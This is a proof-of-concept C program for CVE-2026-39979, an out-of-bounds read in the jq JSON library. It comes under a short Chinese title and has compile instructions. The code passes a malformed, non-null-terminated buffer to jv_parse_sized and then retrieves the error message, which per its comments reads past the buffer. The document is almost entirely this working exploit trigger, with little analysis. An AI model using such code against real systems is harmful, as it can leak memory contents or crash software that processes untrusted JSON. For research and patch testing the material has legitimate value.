CVE-2026-39979 jq库越界读取漏洞

/* * PoC for CVE-2026-39979 * This code demonstrates the Out-of-Bounds read vulnerability in libjq. * It attempts to parse malformed JSON without a NULL terminator via jv_parse_sized. * Compile with: gcc -o poc_cve2026_39979 poc_cve2026_39979.c -ljq */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <jq.h> int main() { // Initialize libjq state (required for newer versions) jq_state *jq = jq_init(); if (!jq) { fprintf(stderr, "Failed to initialize jq state\n"); return 1; } // 1. Create malformed JSON that is NOT null-terminated. // This represents an attacker-controlled buffer. // The buffer contains '{"key": "value"' (missing closing brace). char malformed_data[] = {'{', '"', 'k', 'e', 'y', '"', ':', '"', 'v', 'a', 'l', 'u', 'e', '"'}; size_t data_len = sizeof(malformed_data); printf("[+] Sending malformed JSON (length %zu) without NULL terminator...\n", data_len); // 2. Call the vulnerable API jv_parse_sized. // This tells libjq to only read 'data_len' bytes. // However, if parsing fails, the error path uses %s which ignores the length. jv parsed = jv_parse_sized(malformed_data, data_len); // 3. Check if parsing failed (expected due to malformed JSON). if (!jv_is_valid(parsed)) { printf("[!] Parsing failed as expected.\n"); // 4. Retrieve the error message. // Inside jv_invalid_get_msg(), the vulnerable code path is triggered: // It tries to print 'malformed_data' using %s, reading past the buffer. jv err_msg = jv_invalid_get_msg(parsed); if (jv_is_valid(err_msg)) { printf("[+] Error message retrieved (OOB read occurred internally):\n"); printf(" %s\n", jv_string_value(err_msg)); jv_free(err_msg); } else { jv_free(err_msg); } } else { printf("[-] Parsing succeeded unexpectedly.\n"); jv_free(parsed); } // Cleanup jq_teardown(&jq); return 0; }